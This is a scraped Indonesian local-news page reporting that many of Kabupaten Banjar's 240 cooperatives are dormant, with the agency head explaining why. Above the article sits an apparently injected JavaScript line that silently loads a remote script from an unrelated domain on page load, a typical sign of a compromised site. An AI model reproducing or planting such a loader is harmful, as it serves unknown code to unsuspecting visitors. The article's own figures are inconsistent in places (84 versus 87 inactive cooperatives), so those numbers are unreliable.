(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

84 Koperasi di Kabupaten Banjar Dinyatakan Mati Suri


MARTAPURA, Kabupaten Banjar termasuk daerah subur koperasi. Berdasarkan data pada Dinas Koperasi dan Usaha Kecil Menegah (UKM), hingga 2017 tercatat ada sebanyak 240 unit koperasi dengan total anggota mencapai 29.115 orang.

Dari jumlah itu, Koperasi Unit Desa (KUD) terbanyak ada, yakni 60 unit. Koperasi Pegawai Negeri terbanyak kedua dengan 41 unit. Runut berikutnya, Koperasi Pertanian sebanyak 29 unit dan Koperasi Serba Usaha (KSU) sebanyak 25 unit.

Sayangnya, banyak dari koperasi tersebut sudah tak aktif lagi, alias mati suri. Dari 240 unit koperasi yang ada, 87 unit di antaranya berstatus tidak aktif. KUD misalnya, dari 60 KUD, hanya 27 unit yang aktif. Begitu pula dengan Koperasi Pertanian, dari 29 unit, 17 di antanya mati suri. KSU, dari 24 unit, 7 di antaranya juga hanya tersisa nama.

Tentang banyaknya koperasi yang mati suri, Achamad Suprapto, Kepala Dinas Koperasi dan UKM Kabupaten Banjar mangatakan, termasuk dalam daftar koperasi tidak aktif lantaran koperasi-koperasi tersebut tidak lagi pernah melaksanakan Rapat Anggaran Tahunan (RAT) yang menjadi syarat wajib beroperasinya koperasi.

“Koperasi yang tidak aktif karena tak lagi melaksanakan Rapat Anggaran Tahunan,” ujarnya, Jumat (6/10).

Penyebab lain koperasi tak aktif, lanjutnya, lantaran kekosongan pengurus. Namun begitu, pihaknya terus melakukan pembinaan terhadap sejumlah koperasi yang berstatus mati suri itu. Dari pembinaan yang dilakukan harapannya, koperasi dapat kembali aktif.

Selain melakukan pembinaan sejumlah koperasi yang tak lagi beroperasi, dalam upaya menggerakkan ekonomiu kerakyatan, Dinas Koperasi dan UKM Kabupaten Banjar juga akan melaksanakan pelatihan dan pembinaan untuk pada pelaku usaha kecil menegah.

Yang juga dilakukan Dinas Koperasi dan UKM, lanjutnya, yakni terus mensosialisasikan regulasi perijinan UKM yang bisa dikeluarkan pihak kecamatan. kemudahan perijinan UKM tesebut diharapkan kian dapat memicu tumbuhnya UKM lebih banyak lagi di Kabupaten Banjar. (rudiyanto)


Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

2 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

4 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

4 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

4 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

5 jam ago

This website uses cookies.